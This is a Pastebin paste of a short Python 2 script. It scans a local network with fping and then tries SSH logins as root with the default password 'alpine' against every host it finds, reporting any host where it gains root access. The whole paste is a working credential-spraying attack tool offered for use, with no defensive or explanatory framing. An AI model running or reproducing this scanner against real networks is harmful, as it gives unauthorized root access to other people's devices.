Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Jailbroken iPod default password scanner, make sure you install fping
- import paramiko
- import os
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- output_file = raw_input("Name the output file: ")
- netmask = raw_input("Netmask: ")
- #find hosts on LAN
- print '[Attempting to scan...]'
- os.system('fping -a -g '+netmask+' -t 1000 > '+output_file)
- print '[Scan done...]'
- file = open(output_file, 'r')
- ip_list = file.read().split("\n")
- file.close()
- ip_length = len(ip_list)-1
- count = 0
- print "[Testing " +str(ip_length)+ " hosts]"
- #test all the hosts
- def scan():
- global count
- if count == ip_length:
- return
- try:
- ip_list[count] = ip_list[count].replace(" ","")
- print "Trying ["+ip_list[count]+"]"
- ssh.connect(ip_list[count], username="root", password="alpine")
- stdin, stdout, stderr = ssh.exec_command("whoami")
- if stdout.read().split("\n")[0] == "root":
- raw_input("ROOT ACCESS, HOST="+ip_list[count])
- else:
- ssh.close()
- except:pass
- count = count + 1
- scan()
- scan()
- raw_input("Scan finished")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement